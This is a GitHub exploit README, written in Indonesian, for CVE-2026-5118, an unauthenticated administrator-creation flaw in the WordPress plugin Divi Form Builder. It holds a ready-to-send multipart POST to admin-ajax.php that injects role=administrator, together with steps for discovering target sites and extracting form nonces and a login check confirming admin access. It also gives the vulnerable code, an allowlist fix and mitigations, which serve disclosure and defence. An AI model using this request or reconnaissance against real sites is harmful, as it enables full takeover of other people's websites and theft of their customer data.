zycoder0day/CVE-2026-5118

GitHub: zycoder0day/CVE-2026-5118

Stars: 5 | Forks: 0

🔥 CVE-2026-5118

Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation

## 🎯 Ringkasan Plugin WordPress **Divi Form Builder** versi **5.1.2 dan sebelumnya** memiliki kerentanan **Critical** yang memungkinkan **penyerang tanpa autentikasi** membuat akun **Administrator** secara langsung melalui form registrasi. ## 🧨 Apa yang Bisa Dilakukan Penyerang? | Kemampuan | Dampak | |---|---| | 🔑 Buat akun admin tanpa login | **Full Site Takeover** | | 📦 Akses data pelanggan WooCommerce | **Data Breach** | | 💉 Edit file plugin/theme (PHP) | **Remote Code Execution** | | 🕳️ Buat backdoor tersembunyi | **Persistent Access** | | 👥 Lihat semua data pengguna | **Privacy Violation** | ## 🔬 Analisis Kerentanan ### Lokasi Kerentanan includes/shared/handlers/FormSubmissionHandler.php → create_user() ### Kode yang Rapuh // Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN) $role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber'; // Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN $roles_obj = function_exists('wp_roles') ? wp_roles() : null; if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) { $role = 'subscriber'; } // Baris ~1745: Langsung terapkan role yang diinjeksi! $user = new WP_User($user_id); $user->set_role($role); // ← "administrator" langsung diterapkan ### Mengapa Ini Berhasil? ALUR VALIDASI YANG BERMASALAH ┌──────────────────────────────────────────────────────┐ │ Penyerang kirim: role=administrator │ │ ↓ │ │ sanitize_text_field() → "administrator" (bersih) │ │ ↓ │ │ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG! Hanya cek ADA/TIDAK │ ↓ │ │ $user->set_role("administrator") → ADMIN PENUH! │ ← PRIVESC! └──────────────────────────────────────────────────────┘ "administrator" ADALAH role yang valid di WordPress, jadi validasi isset() SELALU return true. Fungsi ini TIDAK PERNAH menolak role berbahaya. ### Vektor Serangan Form registrasi DFB mengandung hidden input: ## 🛠️ Proof of Concept — Rantai Serangan ### Fase 1: Rekayasa — Temukan Target [★] Target Discovery: Divi Form Builder indicator ├── Endpoint scan: 50+ path registrasi ├── Homepage link crawl: keyword priority ├── REST API: /wp-json/wp/v2/pages?search=register ├── Sitemap parsing: XML sitemap URLs ├── DFB REST API: /wp-json/divi-form-builder/v1 ├── AJAX probe: de_fb_ajax_submit_ajax_handler ├── WooCommerce: /my-account/ sub-pages ├── robots.txt: custom sitemaps + disallow ├── Contact pages: DFB forms tersembunyi └── wp-json deep: content-first scan [✓] Ditemukan: [✓] Versi plugin: v4.1.9 (VULNERABLE) [✓] Form multi-step dengan reCAPTCHA v3 ### Fase 2: Ekstraksi Parameter Form Parameter yang diperlukan: ├── fb_nonce: [dari hidden input / de_fb_obj] ├── form_key: [dari hidden input] ├── form_type: register ├── divi-form-submit: yes └── role: [INJEKSI: administrator] Field pemetaan: ├── de_fb_user_login + user_login (kedua varian wajib) ├── de_fb_user_email + user_email ├── de_fb_user_pass + user_pass └── de_fb_pass_repeat ### Fase 3: Injeksi Role — Eskalasi Privilege POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=----POC X-Requested-With: XMLHttpRequest ------POC Content-Disposition: form-data; name="action" de_fb_ajax_submit_ajax_handler ------POC Content-Disposition: form-data; name="fb_nonce" [nonce_dari_form] ------POC Content-Disposition: form-data; name="role" administrator ------POC Content-Disposition: form-data; name="form_type" register ------POC Content-Disposition: form-data; name="divi-form-submit" yes ------POC Content-Disposition: form-data; name="de_fb_user_login" attacker1337 ------POC Content-Disposition: form-data; name="user_login" attacker1337 ------POC Content-Disposition: form-data; name="de_fb_user_pass" Str0ngP@ss! ------POC Content-Disposition: form-data; name="user_pass" Str0ngP@ss! ------POC Content-Disposition: form-data; name="de_fb_user_email" attacker@proton.me ------POC Content-Disposition: form-data; name="user_email" attacker@proton.me ------POC-- ### Fase 4: Verifikasi — Akses Administrator [→] POST /wp-login.php user_login=attacker1337&user_pass=Str0ngP@ss! [←] HTTP 302 → /wp-admin/ [✓] FULL ADMINISTRATOR ACCESS CONFIRMED ├── Dashboard: /wp-admin/ ├── Users: Can create/delete any user ├── Plugins: Can install/activate/edit PHP ├── Themes: Can edit template files → RCE └── Settings: Full site control ## 🧪 Verifikasi Laboratorium Pengujian dilakukan di **isolated Docker environment** (WordPress 6.5 + DFB v5.0.0): ╔══════════════════════════════════════════════════════╗ ║ LAB VERIFICATION RESULTS ║ ╠══════════════════════════════════════════════════════╣ ║ Method: AJAX (admin-ajax.php) ║ ║ Role injected: administrator ║ ║ Response: "Registration successful!" ║ ║ Login: HTTP 302 → /wp-admin/ ✓ ║ ║ ───────────────────────────────────────────────── ║ ║ Method: Form POST (direct submission) ║ ║ Role injected: administrator ║ ║ Response: "Registration successful!" ║ ║ Login: HTTP 302 → /wp-admin/ ✓ ║ ║ ───────────────────────────────────────────────── ║ ║ Status: ★ PWNED — Full Admin Access ★ ║ ╚══════════════════════════════════════════════════════╝ ## 🔧 Perbaikan yang Direkomendasikan ### Solusi: Allowlist Role Registration // SEBELUM (rentan): $role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber'; $roles_obj = function_exists('wp_roles') ? wp_roles() : null; if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) { $role = 'subscriber'; // ← Hanya cek ADA, bukan AMAN } // SESUDAH (aman): $role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber'; // Hanya izinkan role yang aman untuk registrasi publik $allowed_registration_roles = array('subscriber', 'contributor'); if (!in_array($role, $allowed_registration_roles, true)) { $role = 'subscriber'; // ← Tolak semua role berbahaya } ### Langkah Tambahan 1. **Hapus parameter `role` dari form frontend** — Gunakan `default_user_role` yang sudah ada 2. **Tambahkan nonce verification** yang ketat pada AJAX handler 3. **Tambahkan capability check** `current_user_can('create_users')` untuk role khusus 4. **Rate limiting** pada endpoint registrasi untuk mencegah brute-force ## 📊 Timeline | Tanggal | Event | |---------|-------| | 2026-04-13 | Versi 5.1.3 dirilis (kemungkinan fix berdasarkan changelog) | | 2026-05-21 | Kerentanan diverifikasi secara independen di isolated lab | | 2026-05-21 | Responsible disclosure dikirim ke Divi Engine Security | ## 🛡️ Mitigasi Sementara (Sebelum Patch) 1. **Update ke versi 5.1.3+** jika tersedia 2. **Nonaktifkan form registrasi DFB** sampai fix diterapkan 3. **Gunakan WAF rule** untuk memblokir parameter `role=administrator` pada POST request 4. **Monitor** `wp_users` table untuk akun admin baru yang tidak dikenal 5. **Batasi akses** `/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handler` ## ⚖️ Disklaimer Dokumen ini dibuat untuk tujuan **edukasi dan responsible disclosure**. Semua pengujian eksploitasi dilakukan di **isolated laboratory environment**. Pada target hidup, hanya **deteksi pasif** yang dilakukan (identifikasi form dan parameter, tanpa pengiriman data eksploitasi). **Penulis tidak bertanggung jawab** atas penyalahgunaan informasi dalam dokumen ini.

CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Unauthenticated Privilege Escalation
Discovered & Verified: 2026-05-21